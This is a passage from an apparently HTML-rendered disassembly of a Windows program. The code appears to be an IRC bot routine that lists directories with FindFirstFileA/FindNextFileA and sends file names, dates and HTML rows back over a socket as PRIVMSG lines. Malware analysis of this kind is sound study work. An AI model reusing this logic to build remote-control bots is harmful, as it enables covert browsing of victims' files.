mov byte ptr [ eax<font color=blue> + </font>edi ], <font color=brown>2Ah</font> lea eax, [ ebp<font color=blue> + </font>var_24C ] <font color=blue>push</font> esi <font color=blue>push</font> eax <font color=green>call</font> <a href=#sub_412E0D>sub_412E0D</a> lea eax, [ ebp<font color=blue> + </font>var_24C ] add esp, <font color=brown>18h</font> lea ecx, [ eax<font color=blue> + </font>1 ] <a name="loc_4031ED"> <font color=red>loc_4031ED:</font> ; CODE XREF: sub_4030C4<font color=blue> + </font>12Ej mov dl, [ eax ] inc eax <font color=red>test</font> dl, dl <font color=red>jnz</font> short <font color=red><a href="#loc_4031ED">loc_4031ED</a></font> <font color=blue>push</font> ebx sub eax, ecx <font color=blue>push</font> eax lea eax, [ ebp<font color=blue> + </font>var_24C ] <font color=blue>push</font> eax <font color=blue>push</font> [ ebp<font color=blue> + </font>arg_4 ] <font color=green>call</font> dword_433534 ; <a href="http://msdn2.microsoft.com/en-us/library/system.windows.forms.sendkeys.send.aspx" onclick="return popup(this,'api_info')">send</a> <font color=blue>push</font> <font color=green>offset</font> aTrTdColspan3Hr ; \"<TR>\r\n<TD COLSPAN=\\"3\\"><HR></TD>\r\n</TR>\r\"... lea eax, [ ebp<font color=blue> + </font>var_24C ] <font color=blue>push</font> esi <font color=blue>push</font> eax <font color=green>call</font> <a href=#sub_412E0D>sub_412E0D</a> add esp, <font color=brown>0Ch</font> <font color=red>jmp</font> short <font color=red><a href="#loc_40323A">loc_40323A</a></font> ; <font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font> <a name="loc_40321F"> <font color=red>loc_40321F:</font> ; CODE XREF: sub_4030C4<font color=blue> + </font>5Cj <font color=blue>push</font> edi <font color=blue>push</font> <font color=green>offset</font> aSearchingForS ; \"Searching for: %s\r\n\" mov esi, <font color=brown>200h</font> lea eax, [ ebp<font color=blue> + </font>var_24C ] <font color=blue>push</font> esi <font color=blue>push</font> eax <font color=green>call</font> <a href=#sub_412E0D>sub_412E0D</a> add esp, <font color=brown>10h</font> <a name="loc_40323A"> <font color=red>loc_40323A:</font> ; CODE XREF: sub_4030C4<font color=blue> + </font>54j ; sub_4030C4<font color=blue> + </font>159j lea eax, [ ebp<font color=blue> + </font>var_24C ] lea edx, [ eax<font color=blue> + </font>1 ] <a name="loc_403243"> <font color=red>loc_403243:</font> ; CODE XREF: sub_4030C4<font color=blue> + </font>184j mov cl, [ eax ] inc eax <font color=red>test</font> cl, cl <font color=red>jnz</font> short <font color=red><a href="#loc_403243">loc_403243</a></font> <font color=blue>push</font> ebx sub eax, edx <font color=blue>push</font> eax lea eax, [ ebp<font color=blue> + </font>var_24C ] <font color=blue>push</font> eax <font color=blue>push</font> [ ebp<font color=blue> + </font>arg_4 ] <font color=green>call</font> dword_433534 ; <a href="http://msdn2.microsoft.com/en-us/library/system.windows.forms.sendkeys.send.aspx" onclick="return popup(this,'api_info')">send</a> mov eax, [ ebp<font color=blue> + </font>arg_C ] <font color=red>cmp</font> eax, ebx <font color=red>jz </font><font color=red><a href="#loc_4032ED">loc_4032ED</a></font> lea edx, [ eax<font color=blue> + </font>1 ] <a name="loc_40326C"> <font color=red>loc_40326C:</font> ; CODE XREF: sub_4030C4<font color=blue> + </font>1ADj mov cl, [ eax ] inc eax <font color=red>test</font> cl, cl <font color=red>jnz</font> short <font color=red><a href="#loc_40326C">loc_40326C</a></font> sub eax, edx <font color=red>cmp</font> eax, 2 <font color=red>jbe</font> short <font color=red><a href="#loc_4032ED">loc_4032ED</a></font> mov eax, [ ebp<font color=blue> + </font>arg_C ] lea edx, [ eax<font color=blue> + </font>1 ] <a name="loc_403280"> <font color=red>loc_403280:</font> ; CODE XREF: sub_4030C4<font color=blue> + </font>1C1j mov cl, [ eax ] inc eax <font color=red>test</font> cl, cl <font color=red>jnz</font> short <font color=red><a href="#loc_403280">loc_403280</a></font> sub eax, edx add eax, <font color=brown>0FFFFFFFDh</font> <font color=red>cmp</font> eax, ebx <font color=red>jz </font>short <font color=red><a href="#loc_40329C">loc_40329C</a></font> <a name="loc_403290"> <font color=red>loc_403290:</font> ; CODE XREF: sub_4030C4<font color=blue> + </font>1D6j mov ecx, [ ebp<font color=blue> + </font>arg_C ] <font color=red>cmp</font> byte ptr [ eax<font color=blue> + </font>ecx ], <font color=brown>2Fh</font> <font color=red>jz </font>short <font color=red><a href="#loc_40329C">loc_40329C</a></font> dec eax <font color=red>jnz</font> short <font color=red><a href="#loc_403290">loc_403290</a></font> <a name="loc_40329C"> <font color=red>loc_40329C:</font> ; CODE XREF: sub_4030C4<font color=blue> + </font>1CAj ; sub_4030C4<font color=blue> + </font>1D3j inc eax <font color=blue>push</font> eax <font color=blue>push</font> [ ebp<font color=blue> + </font>arg_C ] lea eax, [ ebp<font color=blue> + </font>var_598 ] <font color=blue>push</font> eax <font color=green>call</font> <a href=#sub_412C40>sub_412C40</a> lea eax, [ ebp<font color=blue> + </font>var_598 ] <font color=blue>push</font> eax <font color=blue>push</font> <font color=green>offset</font> aTrTdColspan3AH ; \"<TR>\r\n<TD COLSPAN=\\"3\\"><A HREF=\\"%s\\"><COD\"... lea eax, [ ebp<font color=blue> + </font>var_24C ] <font color=blue>push</font> esi <font color=blue>push</font> eax <font color=green>call</font> <a href=#sub_412E0D>sub_412E0D</a> lea eax, [ ebp<font color=blue> + </font>var_24C ] add esp, <font color=brown>1Ch</font> lea ecx, [ eax<font color=blue> + </font>1 ] <a name="loc_4032D2"> <font color=red>loc_4032D2:</font> ; CODE XREF: sub_4030C4<font color=blue> + </font>213j mov dl, [ eax ] inc eax <font color=red>test</font> dl, dl <font color=red>jnz</font> short <font color=red><a href="#loc_4032D2">loc_4032D2</a></font> <font color=blue>push</font> ebx sub eax, ecx <font color=blue>push</font> eax lea eax, [ ebp<font color=blue> + </font>var_24C ] <font color=blue>push</font> eax <font color=blue>push</font> [ ebp<font color=blue> + </font>arg_4 ] <font color=green>call</font> dword_433534 ; <a href="http://msdn2.microsoft.com/en-us/library/system.windows.forms.sendkeys.send.aspx" onclick="return popup(this,'api_info')">send</a> <a name="loc_4032ED"> <font color=red>loc_4032ED:</font> ; CODE XREF: sub_4030C4<font color=blue> + </font>19Fj ; sub_4030C4<font color=blue> + </font>1B4j lea eax, [ ebp<font color=blue> + </font>var_38C ] <font color=blue>push</font> eax <font color=blue>push</font> edi <font color=green>call</font> ds:<a href=#dword_41F054>dword_41F054</a> ; FindFirstFileA lea ecx, [ ebp<font color=blue> + </font>var_38C ] <font color=blue>push</font> ecx <font color=blue>push</font> eax mov [ ebp<font color=blue> + </font>var_C ], eax <font color=green>call</font> ds:<a href=#dword_41F050>dword_41F050</a> ; FindNextFileA <font color=red>test</font> eax, eax <font color=red>jz </font><font color=red><a href="#loc_40371A">loc_40371A</a></font> mov ebx, <font color=brown>1FFh</font> <a name="loc_403319"> <font color=red>loc_403319:</font> ; CODE XREF: sub_4030C4<font color=blue> + </font>650j <font color=red>cmp</font> [ ebp<font color=blue> + </font>var_38C ], 0 <font color=red>jz </font><font color=red><a href="#loc_403702">loc_403702</a></font> <font color=blue>push</font> 3 mov edi, <font color=green>offset</font> a__ ; \"..\" lea esi, [ ebp<font color=blue> + </font>var_360 ] <font color=blue>pop</font> ecx xor eax, eax repe cmpsb <font color=red>jz </font><font color=red><a href="#loc_403702">loc_403702</a></font> <font color=blue>push</font> 2 mov edi, <font color=green>offset</font> a__0 ; \".\" lea esi, [ ebp<font color=blue> + </font>var_360 ] <font color=blue>pop</font> ecx xor eax, eax repe cmpsb <font color=red>jz </font><font color=red><a href="#loc_403702">loc_403702</a></font> lea eax, [ ebp<font color=blue> + </font>var_24 ] <font color=blue>push</font> eax lea eax, [ ebp<font color=blue> + </font>var_378 ] <font color=blue>push</font> eax <font color=green>call</font> ds:<a href=#dword_41F04C>dword_41F04C</a> ; FileTimeToLocalFileTime lea eax, [ ebp<font color=blue> + </font>var_1C ] <font color=blue>push</font> eax lea eax, [ ebp<font color=blue> + </font>var_24 ] <font color=blue>push</font> eax <font color=green>call</font> ds:<a href=#dword_41F048>dword_41F048</a> ; FileTimeToSystemTime mov ax, [ ebp<font color=blue> + </font>var_14 ] <font color=red>cmp</font> ax, <font color=brown>0Ch</font> mov ecx, <font color=green>offset</font> aPm ; \"PM\" <font color=red>ja </font><font color=red><a href="#loc_403417">loc_403417</a></font> mov ecx, <font color=green>offset</font> aAm ; \"AM\" movzx eax, ax <a name="loc_403390"> <font color=red>loc_403390:</font> ; CODE XREF: sub_4030C4<font color=blue> + </font>359j <font color=blue>push</font> ecx movzx ecx, [ ebp<font color=blue> + </font>var_12 ] <font color=blue>push</font> ecx <font color=blue>push</font> eax movzx eax, [ ebp<font color=blue> + </font>var_1C ] <font color=blue>push</font> eax movzx eax, [ ebp<font color=blue> + </font>var_16 ] <font color=blue>push</font> eax movzx eax, [ ebp<font color=blue> + </font>var_1A ] <font color=blue>push</font> eax lea eax, [ ebp<font color=blue> + </font>var_4C ] <font color=blue>push</font> <font color=green>offset</font> a2_2d2_2d4d2_2d ; \"%2.2d/%2.2d/%4d %2.2d:%2.2d %s\" <font color=blue>push</font> eax <font color=green>call</font> <a href=#sub_412BB5>sub_412BB5</a> add esp, <font color=brown>20h</font> xor edi, edi <font color=red>test</font> byte ptr [ ebp<font color=blue> + </font>var_38C ], <font color=brown>10h</font> <font color=red>jz </font><font color=red><a href="#loc_403566">loc_403566</a></font> inc [ ebp<font color=blue> + </font>var_8 ] <font color=red>cmp</font> [ ebp<font color=blue> + </font>arg_8 ], edi <font color=red>jz </font>short <font color=red><a href="#loc_403422">loc_403422</a></font> lea eax, [ ebp<font color=blue> + </font>var_360 ] <font color=blue>push</font> eax <font color=blue>push</font> <font color=green>offset</font> aS_0 ; \"<%s>\" lea eax, [ ebp<font color=blue> + </font>var_494 ] <font color=blue>push</font> <font color=brown>106h</font> <font color=blue>push</font> eax <font color=green>call</font> <a href=#sub_412E0D>sub_412E0D</a> lea eax, [ ebp<font color=blue> + </font>var_4C ] <font color=blue>push</font> eax lea eax, [ ebp<font color=blue> + </font>var_494 ] <font color=blue>push</font> eax <font color=blue>push</font> [ ebp<font color=blue> + </font>arg_8 ] lea eax, [ ebp<font color=blue> + </font>var_24C ] <font color=blue>push</font> <font color=green>offset</font> aPrivmsgS31s21s ; \"PRIVMSG %s :%<font color=blue> - </font>31s %<font color=blue> - </font>21s\n\" <font color=blue>push</font> <font color=brown>200h</font> <font color=blue>push</font> eax <font color=green>call</font> <a href=#sub_412E0D>sub_412E0D</a> add esp, <font color=brown>28h</font> <font color=red>jmp</font> <font color=red><a href="#loc_4036CE">loc_4036CE</a></font> ; <font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font> <a name="loc_403417"> <font color=red>loc_403417:</font> ; CODE XREF: sub_4030C4<font color=blue> + </font>2BEj movzx eax, ax sub eax, <font color=brown>0Ch</font> <font color=red>jmp</font> <font color=red><a href="#loc_403390">loc_403390</a></font> ; <font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </font><font color=blue> - </